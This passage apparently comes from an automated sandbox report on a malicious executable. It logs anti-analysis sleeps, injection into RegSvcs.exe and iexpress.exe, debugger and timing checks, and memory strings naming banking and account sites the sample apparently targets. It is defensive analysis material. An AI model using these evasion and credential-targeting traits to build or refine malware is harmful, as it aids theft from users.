            Source: C:\Windows\SysWOW64\iexpress.exeWindow / User API: threadDelayed 9751Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeAPI coverage: 0.8 %
            Source: C:\Windows\SysWOW64\iexpress.exeAPI coverage: 2.5 %
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exe TID: 6824Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4072Thread sleep time: -1844674407370954s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4516Thread sleep time: -1844674407370954s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exe TID: 7496Thread sleep count: 220 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exe TID: 7496Thread sleep time: -440000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exe TID: 7496Thread sleep count: 9751 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exe TID: 7496Thread sleep time: -19502000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe TID: 7540Thread sleep time: -65000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe TID: 7540Thread sleep count: 35 > 30Jump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe TID: 7540Thread sleep time: -52500s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe TID: 7540Thread sleep count: 34 > 30Jump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe TID: 7540Thread sleep time: -34000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\iexpress.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0303BAF0 FindFirstFileW,FindNextFileW,FindClose,16_2_0303BAF0
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: n200C853.16.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
            Source: n200C853.16.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
            Source: n200C853.16.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231}
            Source: n200C853.16.drBinary or memory string: interactivebrokers.co.inVMware20,11696492231d
            Source: n200C853.16.drBinary or memory string: netportal.hdfcbank.comVMware20,11696492231
            Source: hbfEEdNoiUG.exe, 00000014.00000002.3711029836.000000000123F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllM
            Source: iexpress.exe, 00000010.00000002.3715938597.0000000008482000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Test URL for global passwords blocklistVMware2
            Source: n200C853.16.drBinary or memory string: outlook.office.comVMware20,11696492231s
            Source: n200C853.16.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
            Source: iexpress.exe, 00000010.00000002.3715938597.0000000008482000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: outlook.office.comVMware20,I
            Source: n200C853.16.drBinary or memory string: AMC password management pageVMware20,11696492231
            Source: n200C853.16.drBinary or memory string: interactivebrokers.comVMware20,11696492231
            Source: n200C853.16.drBinary or memory string: microsoft.visualstudio.comVMware20,11696492231x
            Source: iexpress.exe, 00000010.00000002.3715938597.0000000008482000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft.visualstudio.comVMware20,116
            Source: n200C853.16.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
            Source: n200C853.16.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
            Source: n200C853.16.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696492231
            Source: n200C853.16.drBinary or memory string: outlook.office365.comVMware20,11696492231t
            Source: iexpress.exe, 00000010.00000002.3715938597.0000000008482000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: n PasswordVMware20,11696492231x
            Source: n200C853.16.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
            Source: inquiry EBS# 82785.exe, 00000000.00000002.1269901185.0000000000A96000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}P
            Source: n200C853.16.drBinary or memory string: discord.comVMware20,11696492231f
            Source: iexpress.exe, 00000010.00000002.3700825150.000000000324B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.1723837760.000002AF2BA1D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: n200C853.16.drBinary or memory string: global block list test formVMware20,11696492231
            Source: n200C853.16.drBinary or memory string: dev.azure.comVMware20,11696492231j
            Source: n200C853.16.drBinary or memory string: www.interactivebrokers.comVMware20,11696492231}
            Source: n200C853.16.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
            Source: n200C853.16.drBinary or memory string: trackpan.utiitsl.comVMware20,11696492231h
            Source: n200C853.16.drBinary or memory string: bankofamerica.comVMware20,11696492231x
            Source: n200C853.16.drBinary or memory string: tasks.office.comVMware20,11696492231o
            Source: n200C853.16.drBinary or memory string: account.microsoft.com/profileVMware20,11696492231u
            Source: n200C853.16.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231
            Source: n200C853.16.drBinary or memory string: ms.portal.azure.comVMware20,11696492231
            Source: n200C853.16.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
            Source: iexpress.exe, 00000010.00000002.3715938597.0000000008482000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,1S
            Source: n200C853.16.drBinary or memory string: turbotax.intuit.comVMware20,11696492231t
            Source: n200C853.16.drBinary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
            Source: n200C853.16.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231x
            Source: n200C853.16.drBinary or memory string: Interactive Brokers - HKVMware20,11696492231]
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0151096E rdtsc 4_2_0151096E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_00417523 LdrLoadDll,4_2_00417523
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01568158 mov eax, dword ptr fs:[00000030h]4_2_01568158
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01564144 mov eax, dword ptr fs:[00000030h]4_2_01564144
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01564144 mov eax, dword ptr fs:[00000030h]4_2_01564144
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01564144 mov ecx, dword ptr fs:[00000030h]4_2_01564144
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01564144 mov eax, dword ptr fs:[00000030h]4_2_01564144
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01564144 mov eax, dword ptr fs:[00000030h]4_2_01564144
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D6154 mov eax, dword ptr fs:[00000030h]4_2_014D6154
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D6154 mov eax, dword ptr fs:[00000030h]4_2_014D6154
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CC156 mov eax, dword ptr fs:[00000030h]4_2_014CC156
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A4164 mov eax, dword ptr fs:[00000030h]4_2_015A4164
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A4164 mov eax, dword ptr fs:[00000030h]4_2_015A4164
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01590115 mov eax, dword ptr fs:[00000030h]4_2_01590115
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157A118 mov ecx, dword ptr fs:[00000030h]4_2_0157A118
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157A118 mov eax, dword ptr fs:[00000030h]4_2_0157A118
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157A118 mov eax, dword ptr fs:[00000030h]4_2_0157A118
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157A118 mov eax, dword ptr fs:[00000030h]4_2_0157A118
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E10E mov eax, dword ptr fs:[00000030h]4_2_0157E10E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E10E mov ecx, dword ptr fs:[00000030h]4_2_0157E10E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E10E mov eax, dword ptr fs:[00000030h]4_2_0157E10E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E10E mov eax, dword ptr fs:[00000030h]4_2_0157E10E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E10E mov ecx, dword ptr fs:[00000030h]4_2_0157E10E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E10E mov eax, dword ptr fs:[00000030h]4_2_0157E10E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E10E mov eax, dword ptr fs:[00000030h]4_2_0157E10E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E10E mov ecx, dword ptr fs:[00000030h]4_2_0157E10E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E10E mov eax, dword ptr fs:[00000030h]4_2_0157E10E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E10E mov ecx, dword ptr fs:[00000030h]4_2_0157E10E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01500124 mov eax, dword ptr fs:[00000030h]4_2_01500124
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E1D0 mov eax, dword ptr fs:[00000030h]4_2_0154E1D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E1D0 mov eax, dword ptr fs:[00000030h]4_2_0154E1D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E1D0 mov ecx, dword ptr fs:[00000030h]4_2_0154E1D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E1D0 mov eax, dword ptr fs:[00000030h]4_2_0154E1D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E1D0 mov eax, dword ptr fs:[00000030h]4_2_0154E1D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015961C3 mov eax, dword ptr fs:[00000030h]4_2_015961C3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015961C3 mov eax, dword ptr fs:[00000030h]4_2_015961C3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015001F8 mov eax, dword ptr fs:[00000030h]4_2_015001F8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A61E5 mov eax, dword ptr fs:[00000030h]4_2_015A61E5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155019F mov eax, dword ptr fs:[00000030h]4_2_0155019F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155019F mov eax, dword ptr fs:[00000030h]4_2_0155019F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155019F mov eax, dword ptr fs:[00000030h]4_2_0155019F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155019F mov eax, dword ptr fs:[00000030h]4_2_0155019F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0158C188 mov eax, dword ptr fs:[00000030h]4_2_0158C188
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0158C188 mov eax, dword ptr fs:[00000030h]4_2_0158C188
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01510185 mov eax, dword ptr fs:[00000030h]4_2_01510185
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01574180 mov eax, dword ptr fs:[00000030h]4_2_01574180
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01574180 mov eax, dword ptr fs:[00000030h]4_2_01574180
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CA197 mov eax, dword ptr fs:[00000030h]4_2_014CA197
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CA197 mov eax, dword ptr fs:[00000030h]4_2_014CA197
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CA197 mov eax, dword ptr fs:[00000030h]4_2_014CA197
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01556050 mov eax, dword ptr fs:[00000030h]4_2_01556050
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D2050 mov eax, dword ptr fs:[00000030h]4_2_014D2050
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FC073 mov eax, dword ptr fs:[00000030h]4_2_014FC073
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01554000 mov ecx, dword ptr fs:[00000030h]4_2_01554000
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01572000 mov eax, dword ptr fs:[00000030h]4_2_01572000
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01572000 mov eax, dword ptr fs:[00000030h]4_2_01572000
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01572000 mov eax, dword ptr fs:[00000030h]4_2_01572000
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01572000 mov eax, dword ptr fs:[00000030h]4_2_01572000
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01572000 mov eax, dword ptr fs:[00000030h]4_2_01572000
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01572000 mov eax, dword ptr fs:[00000030h]4_2_01572000
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01572000 mov eax, dword ptr fs:[00000030h]4_2_01572000
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01572000 mov eax, dword ptr fs:[00000030h]4_2_01572000
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EE016 mov eax, dword ptr fs:[00000030h]4_2_014EE016
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EE016 mov eax, dword ptr fs:[00000030h]4_2_014EE016
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EE016 mov eax, dword ptr fs:[00000030h]4_2_014EE016
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EE016 mov eax, dword ptr fs:[00000030h]4_2_014EE016
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01566030 mov eax, dword ptr fs:[00000030h]4_2_01566030
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CA020 mov eax, dword ptr fs:[00000030h]4_2_014CA020
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CC020 mov eax, dword ptr fs:[00000030h]4_2_014CC020
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015520DE mov eax, dword ptr fs:[00000030h]4_2_015520DE
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015120F0 mov ecx, dword ptr fs:[00000030h]4_2_015120F0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D80E9 mov eax, dword ptr fs:[00000030h]4_2_014D80E9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CA0E3 mov ecx, dword ptr fs:[00000030h]4_2_014CA0E3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015560E0 mov eax, dword ptr fs:[00000030h]4_2_015560E0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CC0F0 mov eax, dword ptr fs:[00000030h]4_2_014CC0F0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D208A mov eax, dword ptr fs:[00000030h]4_2_014D208A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015960B8 mov eax, dword ptr fs:[00000030h]4_2_015960B8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015960B8 mov ecx, dword ptr fs:[00000030h]4_2_015960B8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014C80A0 mov eax, dword ptr fs:[00000030h]4_2_014C80A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015680A8 mov eax, dword ptr fs:[00000030h]4_2_015680A8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01578350 mov ecx, dword ptr fs:[00000030h]4_2_01578350
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155035C mov eax, dword ptr fs:[00000030h]4_2_0155035C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155035C mov eax, dword ptr fs:[00000030h]4_2_0155035C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155035C mov eax, dword ptr fs:[00000030h]4_2_0155035C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155035C mov ecx, dword ptr fs:[00000030h]4_2_0155035C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155035C mov eax, dword ptr fs:[00000030h]4_2_0155035C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155035C mov eax, dword ptr fs:[00000030h]4_2_0155035C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159A352 mov eax, dword ptr fs:[00000030h]4_2_0159A352
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A634F mov eax, dword ptr fs:[00000030h]4_2_015A634F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01552349 mov eax, dword ptr fs:[00000030h]4_2_01552349
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157437C mov eax, dword ptr fs:[00000030h]4_2_0157437C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150A30B mov eax, dword ptr fs:[00000030h]4_2_0150A30B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150A30B mov eax, dword ptr fs:[00000030h]4_2_0150A30B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150A30B mov eax, dword ptr fs:[00000030h]4_2_0150A30B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CC310 mov ecx, dword ptr fs:[00000030h]4_2_014CC310
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F0310 mov ecx, dword ptr fs:[00000030h]4_2_014F0310
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A8324 mov eax, dword ptr fs:[00000030h]4_2_015A8324
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A8324 mov ecx, dword ptr fs:[00000030h]4_2_015A8324
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A8324 mov eax, dword ptr fs:[00000030h]4_2_015A8324
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A8324 mov eax, dword ptr fs:[00000030h]4_2_015A8324
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015743D4 mov eax, dword ptr fs:[00000030h]4_2_015743D4
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015743D4 mov eax, dword ptr fs:[00000030h]4_2_015743D4
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E3DB mov eax, dword ptr fs:[00000030h]4_2_0157E3DB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E3DB mov eax, dword ptr fs:[00000030h]4_2_0157E3DB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E3DB mov ecx, dword ptr fs:[00000030h]4_2_0157E3DB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157E3DB mov eax, dword ptr fs:[00000030h]4_2_0157E3DB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA3C0 mov eax, dword ptr fs:[00000030h]4_2_014DA3C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA3C0 mov eax, dword ptr fs:[00000030h]4_2_014DA3C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA3C0 mov eax, dword ptr fs:[00000030h]4_2_014DA3C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA3C0 mov eax, dword ptr fs:[00000030h]4_2_014DA3C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA3C0 mov eax, dword ptr fs:[00000030h]4_2_014DA3C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA3C0 mov eax, dword ptr fs:[00000030h]4_2_014DA3C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D83C0 mov eax, dword ptr fs:[00000030h]4_2_014D83C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D83C0 mov eax, dword ptr fs:[00000030h]4_2_014D83C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D83C0 mov eax, dword ptr fs:[00000030h]4_2_014D83C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D83C0 mov eax, dword ptr fs:[00000030h]4_2_014D83C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0158C3CD mov eax, dword ptr fs:[00000030h]4_2_0158C3CD
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015563C0 mov eax, dword ptr fs:[00000030h]4_2_015563C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E03E9 mov eax, dword ptr fs:[00000030h]4_2_014E03E9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E03E9 mov eax, dword ptr fs:[00000030h]4_2_014E03E9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E03E9 mov eax, dword ptr fs:[00000030h]4_2_014E03E9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E03E9 mov eax, dword ptr fs:[00000030h]4_2_014E03E9
